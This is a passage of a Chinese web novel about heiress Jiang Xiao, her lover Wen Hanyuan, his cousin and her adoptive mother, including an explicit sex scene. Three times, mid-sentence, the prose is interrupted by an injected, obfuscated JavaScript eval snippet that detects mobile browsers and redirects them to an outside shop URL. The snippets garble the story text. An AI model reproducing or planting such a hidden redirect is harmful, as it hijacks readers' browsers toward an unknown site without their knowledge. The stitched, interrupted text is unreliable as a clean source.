[34楼:你们都在为QZY挨打欢呼,只有我在担心女神……肯定手都打疼了吧……哭哭……] [楼主回复:知道你担心,但你别瞎担心,JX什么人?一巴掌甩过去,QZY的脸都肿起来了,打完还有回音!楼主都快爽死了,谁来懂一下呢……那动静,感觉能打出脑震荡,也就QZY皮糙肉厚的,挨了一下还有力气挑衅,又挨一下,最后挨了三下,站在会议中心的大门外发呆。] [35楼:谁知道是不是在回味……] [36楼:同意,Q不至于被三个巴掌打傻了。] [37楼:其实我早就在磕那谁和那谁的CP了!很带感一男的~] [38楼:磕的人自己去求JX赏一巴掌哈,跟你男神有福同享~] …… [73楼:假的吧,同在现场,只看到两巴掌。] [74楼:更真了,楼上的朋友。] [楼主回复:还有一巴掌是人散之后打的,楼主很有水平地围(偷)观(看)了,感谢我亲爱的膀胱,阿门!QZY挨了两巴掌还不服气,又追过去挑衅JX,喜提第三个巴掌。] [75楼:我嘞个无敌耐扇王。] [76楼:真的假的,好笑到不敢相信……] 很快,帖子被一片“哈哈哈”填满,直到唯一的实名账号出现。 [权在烨:在场。] [权在烨:去过厕所。] [权在烨:找到你了。] 屏幕后的人们都是一愣,胆大的截图,胆小的退出,至于楼主,不知道TA是胆大还是胆小,久久没有反应,没有删帖,也没有滑跪道歉。 五分钟后,帖子显示已被删除。 有网友恍然大悟:哦,刚才可能晕过去了!弹性的胆大,定性的命短,啧啧啧。 夜色越发黑浓,璀璨灯火久冲不淡,一盏接一盏地熄灭,颓丧情绪蔓延开来,将这座寸土尺金的城市吞噬。 卧室里没开灯,落地窗内外是同样的景况,沉重的黑暗,横暴的自然。 潮涨潮落,云卷云舒。 文瀚元穿着单薄的衬衣,仰倒在柔软光滑的蚕丝被上,宝蓝眼眸中漾着水光,气息不稳地控诉,“为什么不亲亲我?你不想尝尝生橄榄回甘的味道吗?” 姜潇正在兴头上,哪里顾得上接吻哄人,随口敷衍,“等会儿就尝。” 那件浅蓝色衬衣被她抓得不像样。 文瀚元还不了解姜潇吗,惯会敷衍人,他知道,但只能选择配合。而且,他也乐在其中。 “嗯……” 突然,姜潇用力掐了掐他的腰,垂眼看来,一滴热汗顺着脸颊滑落,洇润他胸前的衣料。他的心口好像被烫了一下。 “不准。”她简短地命令。 文瀚元受不住她的目光,视线下移,红晕上涌,小声辩驳,“又不是没戴……” 姜潇促狭地笑了:“我先。” 真是奇怪的人,在包容他的同时,还要故意折磨、逼迫、考验他。 文瀚元咬住下唇不接话,别开脸,看向窗外。没有月亮的夜晚,他却成了被捕获的潮汐,起伏都随她心意。 姜潇哼笑着,抓起他的手,“专心一点,文瀚元同学。” 文瀚元无奈地叹了口气,看向她的眼神有些幽怨。 “你明知道我不敢专心。” 不久前,文瀚元听着那位老教授毫无起伏的语调,昏昏入睡的时候,姜潇也说过这样的话——专心一点。 怎么能说同样的话呢? 对她而言,现在跟他做的这件事情,和那场枯燥乏味的补习,难道没有任何区别吗? 文瀚元莫名心酸酸的,迎上姜潇戏谑的目光,浓睫带露、轻颤。无言的控诉。 姜潇把他逼得更紧了。 文瀚元闷哼,如她所愿地收紧手指。纤长枝桠间溢出雪光,白得晃眼。 “真乖。”姜潇夸他,指尖顺着他的臂部下滑,所触皆是线条清晰且富有弹性的薄肌,“一直都很乖。练得刚刚好,我很喜欢。” “骗人。” 文瀚元声音微哑,委屈地瞪着她,额上浮着碎钻般的细汗,“真喜欢的话,为什么不亲我?” 姜潇眨巴眼睛,撑起来,“好啊,亲你。” 文瀚元还没反应过来,人影倾覆。月亮从舒展的云翳中跃出,坠入潮汐,溅起泡沫。 鼻尖是温热的馨香。 “满意了吧?”姜潇恶趣味地问,伸手攥住他的头发,往下坐,“你就想这样,是不是?” “说啊。” 文瀚元说不出话,从怔愣中回过神来,开始卖力而灵活地取悦她。 一点也不生气,亲哪张嘴不是亲啊? 姜潇见他识趣,根本用不上激将法,也就不说什么了,抓紧棕发,仰头享受,黑发如瀑。 文瀚元感觉很幸福,鼻腔里都是她的气味,就算溺水也没关系。 光影交叠变幻。 一片雪白将他的眼前淹没。 “唔……” 重压消失,文瀚元看着天花板,缓了缓,撑起身,见姜潇随便裹着条薄毯站在床边,俯身,摁亮床头灯,莹莹光芒驱散黑暗。 姜潇刚才睡得好,此刻是肉眼可见的高兴,浑身浮着一层匀淡闪亮的桃粉色,光彩照人,睫毛上翘的弧度像简笔画中的U型嘴。 好可爱。文瀚元又有些意动。 “傻了?”姜潇伸手在他眼前晃。 文瀚元攥住她的手腕,掌心滚烫,指尖染上了薄红。 “潇潇,我……” “你要帮我换好床单,然后回家,对不对?”姜潇飞快地接话,向下扫了一眼,嗓音温软,“清理干净哦,都弄脏了,怪你。” 文瀚元目光沉沉,静了片刻,松开手,抿唇,“嗯,都怪我。” “晚安。”姜潇轻笑,探身,亲了亲他的脸,哼着歌去浴室冲澡。 太晚了,她不想搞得太麻烦,只想尽快休息。每次跟文瀚元爽完,姜潇都能睡上好几个小时的安稳觉,在天快亮的时候才会被噩梦追上。 不久前还象征着快乐的文瀚元本人,而今也变成了麻烦之一。 他苦笑一声,给满满当当的套打了个结,丢进垃圾桶,翻身下床,利落熟练地把卧室恢复原样,穿上变得皱皱巴巴的礼服,提着垃圾袋,开车从姜家后花园的侧门离开。 门卫见怪不怪,但也不敢表现得太熟,含混地说着“辛苦了,您慢走”,给他放行。 好像他开的是垃圾清运车。 文瀚元攥紧方向盘,阴寒目光透过后视镜落在越来越小的建筑物上。 烦死了。 他今天还不够努力吗,又没能留宿…… 不过。 文瀚元单手摸出手机看时间,已经过了零点,不算“今天”,四舍五入,他还是在姜家过了夜的。 潇潇是真的喜欢他。 文瀚元心情好转,关闭飞行模式,准备给姜潇发个晚安,刚开网,海量讯息就伴随着叮铃叮铃的提示音瞬间霸占屏幕。 [晚安。] [晚安。] [晚安。] …… 99+的消息提示,内容全都是晚安。 文瀚元拧眉,点进对话框,看着屏幕上方的备注——蠢货表哥。 [?] 权在烨几乎是秒回:[死哪儿去了?是不是因为没人跟你说晚安,躲在被窝里哭?] [没事,表哥跟你说个够。] 最后还配了个呲牙笑的表情,贱嗖嗖的。 文瀚元冷笑,不屑跟蠢货争辩,点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055003|194855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两下屏幕,[好梦。] 退出去,给姜潇发了晚安,就把手机丢到副驾驶,专心开车。 吵人的提示音又响了起来。 他烦躁地啧一声,明知道不是姜潇的回复,还是抓过手机来看。 万一是这个蠢货发消息太多,把特别提示音盖住了呢? 好吧,没有万一,只有无数个象征着破防的晚安。 文瀚元本来是很爱看权在烨跳脚的,这会儿却被他的情绪感染,心烦意乱又难过。 猛地把车停在路边,文瀚元噼里啪啦地打起字,眼睛通红。 [好梦 暴力狂] [好梦 可怜虫] [好梦 死处男] 越打越快,连标点都顾不上,只想在这场刷屏大战中取得胜利。 那头的权在烨安静了片刻,随即爆发了。 [晚安死舔狗] [晚安恋爱脑] [晚安破备胎] 这对互看不顺眼的表兄弟就以“好梦”、“晚安”的友好问候打头,开始了激情对喷。 “滴——!” 路过的汽车突然鸣笛。 文瀚元惊醒,他居然在这儿跟一个蠢货浪费时间! 果断拉黑权在烨,点开与姜潇的对话框,没收到回复,他委屈又难过。 怎么连个晚安都不愿意回他…… 顺手点开姜潇的主页,发现多了一个关注。 心猛地一跳,文瀚元点开她的关注列表,手指颤抖。 朴孝荣,那个牧师的孩子,头像是一张对镜自拍,搭在卫衣边缘的手指微微蜷起,仿佛要拉起衣衫露出腹肌,欲拒还迎。 “滴!” 文瀚元重重地捶了一下方向盘,泪水啪嗒打在手机屏幕上,眼圈通红,目光凶狠,不复平日的谦和善良。 贱人! 靠装神弄鬼发家,也配勾引姜潇? 文瀚元气得浑身发抖,另一边的权在烨发现自己被拉黑了,也气得不行,丢开手机,从床上跳起。 “死恋爱脑!死恋爱脑!” 手机砸到墙上,又被弹开,啪地落地,屏幕碎裂。权在烨还觉得不够,用脚去踩、去跺,呼哧呼哧地喘着粗气,头疼得像要裂开了。 “贱人!”权在烨咆哮。 凭什么拉黑他?他们可是亲的表兄弟! 他对文瀚元还不够好吗,都让这个死恋爱脑骂回来了,还忍着没去揍人! 他都不敢相信自己有这么好的脾气! 文瀚元哪来的错觉,认为自己有资格拉黑他? 怎么,被称为“无敌耐扇王”的人是他文瀚元吗? 权在烨踢开手机,用力拍打他疼痛的脑袋,竟还真从那没装什么东西的脑子里拍出了一条思路。 “姜潇!”他咬牙切齿地说。 没错,文瀚元肯定是因为这个女人多给了几次笑脸,就觉得自己跟他这个表哥不是一个档次的人了!瞧不起他了! “呵……” 权在烨深吸一口气,一屁股在床边坐下,姜潇似笑非笑的脸蛋在脑海中浮现,曾让他头疼欲裂的怒火,此时竟然调转方向,朝下涌去。 权在烨猛然瞪大眼睛,看着自己出现的变化,不敢置信。 这肯定是被死恋爱脑气得失常了,没错,精血失衡,才不是真的对姜——那个女人有什么意思! 一想到她的名字,权在烨的心就开始狂跳。 都怪那二分之一狗血……呸,他不是狗! 没脸没皮没自尊的文瀚元才是! “靠!”权在烨咬牙骂着,恨恨地倒下,把脸埋进枕头,碎碎念,“去死,去死!去死……” 坏女人,害了那个死恋爱脑还不够…… 他才不会给她当狗呢…… 做梦。 权在烨嘟囔着,用脸颊蹭枕头,被扇过的地方痒痒痛痛的,脖子也痛,脑子反而空得没感觉了,“别以为我像文瀚元那么蠢。” 他又用力蹭了蹭枕头,眼皮越来越沉,睡意袭来,浑身发软,只有嘴还硬着, “我才不会……” “不会……” 意识彻底陷入黑暗,权在烨的嘴挣扎着发出最后的呐喊, “给你当狗……” 6. 月河 姜潇洗完澡,觉得口渴,踩着拖鞋下楼喝水,脚步放得很轻。 月亮不知什么时候冒出来了,清冷光辉铺满大理石台阶。 她垂眼,一步、一步,慢吞吞地走着,盯着鞋面上软乎可爱的绒毛兔子,下耷的长耳朵一弹一弹的。 忽然,兔耳上的清辉转变成了温暖的橘黄色灯光。 姜潇停住脚步,抬头,看着向后转开的书房门,露出尽可能甜美的笑容,声音里却带着一丝生硬的慌乱,“母亲,您怎么还没睡?” 姜世英体弱,不属于那种只睡四个小时就能神采飞扬的高精力人群。姜潇成年后代她处理了许多工作,她乐得自在,睡得一天比一天早,作息堪比小学生(非卷王版)。 不知道她今天怎么突然恢复了成年人作息。 女人穿着宽松的睡衣,倚着门框,算不上形销骨立,却也称得上单薄,连压在肩头的黑发都显得沉重。 她眼神温软地注视着姜潇,轻声解释,“临时开了个会。你呢?” 姜潇乖巧回话:“想喝水。” “哦,又是喝水。”姜世英模仿她的语气,苍白面容上浮现幼稚的笑意,“我们女儿真的不怕水肿哦?怎么不让保姆给你送水。” 当然不怕。姜潇想,喝再多也赶不上刚才耗费的。 她也笑笑,摇了摇头,依旧是那副乖乖巧巧的体贴模样,“太晚了,不想打扰阿姨们休息。” 姜世英抬手,捏了捏她的脸颊,“去吧,好孩子。” “晚安,母亲。” 姜潇克制住躲开的冲动,任她捏完,转身下楼,走得有些快,能感觉到姜世英的沉沉目光就追在身后。 今天实在是说了太多句晚安,不然买个狗狗用的说话按钮吧,可以录音的那种,要说晚安就摁一下,方便高效。 姜潇心乱,脑子也乱,漫无边际地想着。 终于要走到旋转楼梯的尽头,心好像也落到了实处。 “你——” 姜世英开口,温柔嗓音追上姜潇,把她的心又揪了起来,“有没有哪里不舒服?” “新品发布会的事,宋助理都告诉我了,权家那对父子实在是不像话,妈妈不会放过他们的。” 姜潇猛地回头,被女人眼中闪现的泪光蜇了一下,心中拉响警报。 鳄鱼的眼泪。 她绝对不能相信。 “没事。”姜潇佯装轻松,“我自己能解决的,母亲。” 姜世英蹙起眉,居高临下地看着她,神色黯然,“其实你可以多依赖依赖妈妈的。” 姜潇仰起脸,月光照得她浑身发冷。 依赖你? 让你知道我是一个废物,让你名正言顺地抛弃我? 休想。 “我不是小孩子了,母亲。”姜潇勾唇,面部轮廓被银辉勾描得冷而硬,如巧匠精心雕琢的塑像,“新北区礼山疗养院那块地皮,会属于庆英。” 作为首都的一部分,新北区被山地环绕,又有巨河横贯而过,可供开发的土地有限,却汇集了全国最好的医疗资源,拥有众多旅游景点,寸土尺金都是一种委婉的说法。 庆英集团总部就在新北区,但从比例上看,她们拥有的地皮却不算多,政府持有一部分,其他集团持有一部分,还有一部分被个人死捏着不愿放手。 礼山疗养院是一位已卸任首长的私产。 老人家是独身主义者,早就为自己的老年生活做好了规划,但人算不如天算,他的精力大不如前,不足以维持一家大型养老院的良好运转。请人代理是个办法,但身为能从本国政坛平安离休的老政客,多疑是他的固有属性,人哪有真金白银可靠? 是以,老人最近隐约流露出把疗养院带地皮一起转让的意愿。 各方心思浮动,但最强有力的竞争者只有庆英集团和星烨科技。前者,与礼山疗养院合作多年,提供了最专业的医疗护理团队。 后者,星烨科技的老会长和礼山疗养院主人是多年好友。老会长病故后,新任会长没有忘记延续这份情谊,常去探望,自称为老人的“半个儿子”。 听见姜潇的豪迈宣言,姜世英并无喜色,“尽力而为就好,别给自己太大压力。” “权家没那么容易松口的。” 姜潇笃定地说:“早晚会松口的。权在烨撞车的事可大可小,全看我的心情,母亲,权叔叔早点放弃那块地,我的心情就会好一点。” 这些年,姜潇暗中用不同名义收购了许多邻近的小面积私有土地,只要拿下礼山疗养院,就能拼成一大块完整的可开发用地。 星烨科技当然可以吞下那块地,但也要准备好迎接报复和损失。 姜潇不介意打碎拼图,重新组合,让礼山从宝地变成废地。 至于权在烨?不过是利益天平上最无足轻重的筹码,姜潇没指望靠一个情绪不稳定的疯狗制胜……不过,偶尔拿来消遣还行。 有权在烨衬托,姜潇维持好风评都不需要砸那么多钱了。 看她心意已决,姜世英无可奈何地笑了,“好吧,那就希望我们潇潇得偿所愿了?虽然妈妈并不觉得撞车是什么小事。” 姜潇扯了扯唇,并不打算配合着说什么客套话。她们都达成目的了不是吗?母亲得到了保证,女儿得到了赏识。 姜世英跟女儿相视而笑,缓了缓,又有些犹疑地问,“听说,你资助了一个浦川的孩子?” “……嗯。” 面部肌肉不受控地抽搐了一下,姜潇轻轻嗯了一声,借着捋发的动作低头,收敛笑意,“是的,母亲,那孩子很优秀,但说到底,庆英的资助生哪一个不优秀呢?小事,不值得您费心。” 原来,今天是因为这件事在书房等她。 “不值得吗?” 姜世英搭着楼梯扶手,向下走了两步,又停住。银白月光是一条沉默的长河,横亘在母女之间,缓慢而残酷地洗去最后一丝温情。 姜世英又问了一次:“不值得我费心吗,她来自浦川。” 姜潇没有抬头,怕月光照亮她怨毒的眼神,语气依旧柔顺恭敬,“我资助过好几个来自浦川的孩子了,母亲。” 姜世英见她还在装傻,不由得失望,把话挑明,“申绿妍是你父亲的私生女。你知道吗?如果知道的话……为什么?” “我不在乎那个孩子,我只在乎你为什么这样做,为什么?” “因为我不知道,因为她值得我投资。” 姜潇面无表情地抬起头,却没有看泫然欲泣的女人,而是看向走廊尽头紧闭的房门,也许住在那里的男人正偷听着,“这就是您和父亲分房多年的原因吗?母亲,如果您很在乎的话,为什么不离婚呢,是有更重要的原因吗?” “那么,您还是相信我不知情吧,那样比较好。” 姜潇收回视线,眼中瞬间盈满泪水,似乎真的为这个消息感到悲痛,“因为我是真的不知道,母亲。” 姜世英愕然,嘴唇颤抖,张张合合,半晌才吐出一句,“血缘并不重要,潇潇。” 血缘不重要吗?姜潇在心中冷笑。 恐怕只有父亲的血缘不重要吧,您的血缘也不重要吗?那明明是我梦寐以求的东西,怎么可能不重要。 血缘不重要,那什么重要?我吗,和您没有血缘关系,可能遗传了精神疾病的我?别开玩笑了! 别再说这些冠冕堂皇的话了,快吐出来了。 面对真正无能为力、无法改变的东西,焦躁不安的情绪汹涌而来,姜潇浑身颤抖,就要演不下去。 好烦,好烦,好烦。 她猛然攥拳,指甲陷入掌心,用力,用力,直到掐出血痕。疼痛将不安感暂时压了下去。 姜潇看着几米开外、那个与她所有最强烈的爱恨密切相关的女人,含泪微笑起来,“我现在知道了,母亲,您放心,我不会因为这个偏心申绿妍,也不会因为这个去欺负她的。” “早知道的话,定资助人选的时候,我就多翻两页,换一个人,免得惹母亲伤心了。” 姜世英叹气,缓步下楼,抬手,用指腹擦去她眼角的泪水,“妈妈没有伤心,真的,我的女儿一直都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055004|194855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做得很好,妈妈相信你这样做没有私心。” “真的?”姜潇佯装欣喜,用脸颊轻蹭女人的掌心,“母亲真的不伤心,也不生我气?” 不过是互相欺骗。 姜潇当然知道申绿妍的身份,这样做也是完全出于私心。 “真的,”姜世英将她的碎发顺至耳后,眼神慈爱,“妈妈只是害怕你在心里藏了事。” “潇潇,你不需要讨好申绿妍,更不需要戒备她,她不能改变任何事情,也不会夺走任何属于你的东西。我相信你父亲也是这样想的,不然也不会把她丢在福利院了。” 姜世英语重心长:“哪有妈妈会生女儿的气?你想做什么就大胆地做,妈妈都支持你。” “别哭了,又不是什么大事,不过是资助了一个私生女。妈妈当年做的事更过分呢,想不想知道?” “想。”姜潇配合地说,鼻音重重的。 姜世英摸了摸她的头,棉言细语,“妈妈从小就身体不好,你姥姥特地买了个海岛给我休养,安排了好多好多医护人员专职照顾我,十年如一日,好不容易把身体养好一点,让妈妈回国接班,结果妈妈不务正业,一回国就看上了你父亲,还未婚怀孕,说什么都要生下你!” “你姥姥说着生气,把妈妈赶了回去,结果一听说我想她,就偷偷跑来做蜜桃奶冻,让保姆喂给我吃,还不许别人泄密,哼哼,我吃第一口就知道是她的手艺了!” “当地的蜜桃特别甜,我那会儿吃了很多,肯定是这个原因,我才会生下你这样可爱的女儿。” “妈妈每天入睡前都会问上苍,我怎么能幸运成这样呢?有我们潇潇这样健康、善良又上进的女儿,蜜桃一样的孩子。” 手指顺着耳朵移向脸颊,姜世英狡黠地眨了眨眼睛,突然捏住姜潇泛红的鼻子, “后来的事,你都知道啦,姥姥最终原谅了妈妈,接受了你和你父亲,还把庆英交给了我。” 姜世英笑眼弯弯:“说起来有点不好意思呢,我们潇潇的出生日期比我的结婚日期要早上好几年。” 姜潇假装感兴趣地听着,心却在那甜蜜的语调中沉了下去。 就是这种笑容,就是这种态度,因为什么都有,所以什么都不在乎的天真和残忍。 姜世英并非愚蠢,甚至可以说是绝对的顶级聪明人,接手庆英之后做的每一个决策都是极具前瞻性的。 但她却能做出那样的蠢事,编出这样蹩脚的谎言, 因为一厢情愿,和有孩子的男人结婚,因为一时兴起,领养一个来历不明的女孩…… 姜世英是真的无所畏惧。 幸运就是她的人生底色,无论做什么,最终都能对她有所助益。 就像…… 世界以她的意志运转。 姜潇凝望着姜世英带笑的眼睛,欲望掐住她的脖颈,愤怒灼烧她的心脏,呼吸不畅,痛不欲生。 脸部肌肉和泪光一同颤动,像即将剥落的纸糊面具。 凭什么…… 你凭什么无所不能,凭什么这样残忍,凭什么让我钦慕又憎恨。 “傻了?”姜世英温柔地拍了拍她的脸颊,“其实妈妈就一个意思,你可以做任何事,不用有任何顾虑。” 可耻的骗子。 姜潇的眼睛还在哭,嘴巴已经笑了,“知道了,母亲。” 她先一步退开。 又是那个温顺体贴的女儿。 “明天还要上课,我先睡了,您也早点休息,母亲。” 得到应允,姜潇对她微微躬身告别,走进厨房,纯白的奢石岛台在月光下泛着蓝晕。 岛台上放着一杯水。 姜潇用手背碰了碰,还是温的。 姜潇有半夜下楼喝水的习惯,姜世英就吩咐保姆每隔一小时换一次岛台上的水,让她随时有温水可喝。 “……呵。” 姜潇举起水杯,倾斜,看着纤柔水流变成一滴接一滴珍珠般的水珠。 她才不喝。 这么折腾人,也不怕保姆往里面吐口水。 7. 玩偶珍珠 她是住在水晶球里的公主,拥有绝对明亮、精美、梦幻的世界。 就算偶遇波折,世界摇晃颤动,从天而降的也是浪漫雪花,飘飘摇摇,漫天漫地,晶体上的每一丝闪光都在诉说宇宙对她的偏爱。 “下午好哦,徐阿姨。”姜潇穿着蓬松的白纱裙,在光可鉴人的木质地板上奔跑,浅蓝深靛的立体绣花是雾林中翻飞的蝴蝶。 徐阿姨是个面如圆月的中年女人,脸上总挂着笑,就连跪着擦地的时候,宽钝鼻子上也有一左一右两弯弦月。 “哎哟,当心摔跤,小姐。”徐阿姨担忧地说,依旧笑着,用微笑冲淡叮嘱中的那点僭越,“会长在后花园,不在书房。” “知——道——啦,谢谢你,徐阿姨!” 走廊尽头的小小身影危险地闪了两下,随即调转方向,往花园去。 “小姐,要尝尝新烤的小饼干吗?” “小姐,天气很好,记得带珍珠出门晒太阳哦~” “小姐,新裙子很漂亮呀!” 沿途一片问好和赞美。姜潇抱着名叫“珍珠”的玩偶小熊,转起圈圈,裙摆是吸饱善意、迅速绽放的白色小花。 临近花园,姜潇竖起一根肉嘟嘟的手指,压在嘴唇上,带着婴儿肥的小脸绷得紧紧的,“大家不要响了,我要给妈妈一个惊喜!” 保姆们忍着笑点头。 姜潇满意地转身,玻璃门上漆黑的铸铁花枝将门外的世界割裂。她踮起脚,把脸贴过去,花园顿时明亮而完整地呈现在眼前。 光束粗细不均地支在五彩斑斓的花园中,如同地里长出来的半透明乔木。太阳是枝头开得最盛、摇摇欲坠的一轮红花。 她的妈妈坐在遮阳伞下,很安全,不会被太阳砸到。旁边坐着她最喜欢的艺琳姨姨。 姜潇安心地笑了,轻轻推门。 “就算是真的……” “那孩子又不是亲生的……” “你何必费心去……” 她忽然听见水晶球外的声音,是艺琳姨姨带着心疼的责备。 姜世英端起咖啡杯,垂眼不接话,无所谓地微笑。氤氲水汽是白瓷的延伸,肌肤在釉下显出幽幽的蓝,典雅细致、不近人情的工笔。 “你呀!”文艺琳叹气。 姜世英沉默片刻,才说,“有总比没有好……现在看着还算听话……不顺心再处理……” “可不一定能等到那时候。”文艺琳话音刚落,桌面上的手机呜呜地震动起来,和身边人交换过眼神,不耐烦地啧了声,接听,“喂?” “什么?你确定……” 姜潇后来了解到,当时,文瀚元随父出海钓鱼,二人意外落水,文父溺亡,文瀚元被一艘路过的渔船捞了起来。 “幸好,幸好!”文艺琳连声说着,仿佛心有余悸,轻瞥姜世英那一眼却略显俏皮。 姜世英照旧一派淡然,不在乎生死,不计较有无。 太阳终于从枝头坠落,白光如潮,迅速淹没花园,吞噬人影,糊住姜潇的眼睛。 她畏缩地后退几步。 啪嗒,姜潇眨了眨眼,阻隔她与世界的那块毛玻璃摔了个粉碎,在灌入室内的天光中,变成闪闪发亮的珍珠。 妈妈说她的眼泪是珍珠。 她的小熊玩偶也是珍珠,躺在明暗交界处,笑得不怀好意,纽扣大小的漆黑眼珠死盯着她。 “哎哟,小姐,我们珍珠怎么摔倒了?”徐阿姨匆匆而来,捡起玩偶一下接一下地拍着,哄着,就像那真是一颗价值不菲的宝珠,“好珍珠不哭不哭,虫虫跑走了。” “才不是什么珍珠。” 姜潇冷眼看着,在徐阿姨讨好笑着递来玩偶时,扭身就走,白纱裙上的深蓝绣花是一兜死蝶,水淋淋,恍恍荡荡。 “就是个玩偶,徐阿姨你笨死了。” 无数细小波纹泛出中年女人茫然无措的神情,一圈又一圈,缓慢沉入深黑的瞳孔。 姜潇睁开眼,太阳穴突突直跳。 昨晚没顾上拉窗帘,灰暗天花板被早晨的阳光挖去一大块。 “……徐阿姨。” 她嗓音嘶哑地喃喃,按着太阳穴坐起身,沐浴在清冷晨曦中,才反应过来,那个和善女人已经辞职十多年了。 文瀚元给她发了三条消息。 [晚安,潇潇,明早要一起上学吗?] [有一批新到首都的海鲜,每个品类我都让人挑了些送来,保姆姨姨答应我今早会做,有你愿意吃的就最好了。] [刚到家,好想你……] 姜潇从那六个小点里看出了文瀚元的情绪,回条什么消息哄他呢?毕竟文瀚元昨晚是真的很卖力,她都没做荒谬血腥的梦了——但又害她梦到了很久以前的事,她恐惧的源头,做噩梦的开端。 烦死了,都是文瀚元努力过头的错。 哄个damn啊。 姜潇收起手机,去健身区运动了半个小时,才冲澡换制服,慢悠悠地下楼去。 她名义上的母亲姜世英和父亲申裕准已经在用早餐了。两人分坐在长桌两端,陌生得像在开什么跨国会议。 “我们女儿睡醒了?坐爸爸身边来,今早的鲍鱼粥很鲜。” 申裕准抬手招呼她,眼尾炸出花一般的笑纹。 申裕准是前党派领袖、国会议员申柱现女士的独生子,一个名气远高于技艺的画家,拥有首都最富盛名的月见美术馆。 两人的婚姻可以说是强强联合,申裕准却怕姜世英怕得跟狗一样。这不,只要一眼,男人就收敛笑意,埋头喝粥了,手抖得别说鲍鱼了,汤匙里连米都没几粒。 实在是夸张,尽管申柱现女士早亡,可申家也不是什么没有根基的家族,据说某位先祖还是封建王朝时期的内阁总理大臣。 姜潇想不明白,在长桌中间落座,不偏不倚,乖巧地一一问好后,才开始用餐。 对于姜潇的恭敬态度,申裕准很是受用,含笑点头后,一勺插进碗底,捞出一大汪冒着白烟的稠粥,一口下去——烫得眼泪花都出来了,保养得很好的俊脸顿时扭曲变形。 “嗷!”叫得像被踩到爪子的小狗。 “……” 姜世英看也没看申裕准,柔声问姜潇,“昨晚睡得好吗?” “很好,母亲。” 姜潇回完话,默默加快用餐速度,多亏她刚从噩梦中醒来,笑点很高。 但申裕准要是再用手给舌头扇风,她就真的要憋不住笑了。 “慢用,我先去上学了。”姜潇一推餐盘,逃也似地跑了。 车已经换了一辆,是很张扬的红色,想必是宋助理的意思,昨天被红色的摩托车撞了,今天就换个更红的车开,去去晦气。 车上,宋助理翻看着行程表,说,“早上好,小姐,今天共有三门基础课、两门选修课,选修中的微生物学要做血浆凝固酶实验,您之前已经做过,需要直接将实验报告发给科任教师吗?” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055005|194855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,我再去做一次吧。”姜潇耷拉着眼皮,随意地刷手机,“崔聿最近闹着要对盛禾高进行全面改革,被他揪住了会很烦。” “好的。”宋助理合上平板,朝一旁的司机颔首。 司机红光满面,兴致勃勃地大喊,“那我们就出发啦!” 哪里看得出他有一身的“基础病”。 昨晚在星烨科技那一闹,司机的工资涨了二十个点,正是对庆英集团忠诚度最高的时候,开车都开出了驾驶战斗机的气势。 汽车一路飞驰,直至汇入跨江大桥的车流,才逐渐降速。 清风涌入半开的车窗,阳光柔和,是让人倍感舒适、充满希望的早晨,连鸣笛声都显得婉转悠扬。 姜潇仰起脸,微眯双眼,心绪渐宁。嘴角轻轻翘着,心情不错的样子。 见状,司机豪迈地宣誓:“您放心吧,小姐,就算大桥突然坍塌,我也会把车从浪里举起来!” 金框深绿片的墨镜箍在他的国字脸上,像贴着两片发霉的黄瓜,让人更不安了。 “说什么胡话呢,大叔!”宋助理嫌弃地翻白眼,“您是喝了酒来上班的吗,要是把车开到河里,你也不用费劲把车举起来了,跟着一起沉下去吧,行吗?” “哎哟,打个比喻嘛,宋助理你年纪轻轻就这么没有幽默感,老了可怎么办?”司机咧嘴一笑,“你看我,心态年轻就显年轻,别人听说我四十五岁了都会吓一跳呢!我老婆说我跟二十岁的时候一模一样!” 宋助理张了张嘴,本想吐槽,但见姜潇笑吟吟的,话锋一转,配合道,“是呀,您是很经典的生姜系帅哥嘛。” 司机惊喜:“那是什么?不过算你有眼光,宋助理,看我新买的墨镜,帅吧?商家说飞行员也戴这一款,戴上它,就算小姐现在想去雪山,我也会眼睛都不眨一下地照办的!” “是吗?”姜潇轻悠悠地说,“那现在就改道吧。” 墨镜下的笑脸僵了一下,司机迟疑着问,“真要去雪山吗,小姐?就这样去?” 姜潇诚恳道:“嗯,有你的飞行员墨镜就行了嘛。” “好……好吧。”司机深吸一口气,“那我们——” “噗!”宋助理没忍住,“您别逗他了,小姐,我们司机可是满腔热血的二十岁年轻人,会当真的。” 司机愣愣地,嘴张得跟墨镜镜片一样圆。 “对不起啦,大叔。” 姜潇没什么诚意地道过歉,这才看着手机上,梁蕊儿发来的私信,“去Celes娱乐公司附近的一家咖啡馆,定位发了。那里的路很不好开,拜托你了,飞行员大叔。” “好的!”司机迅速反应过来,活力满满地应答,随即朝远离盛禾高的方向进发,一路摇曳的树影。 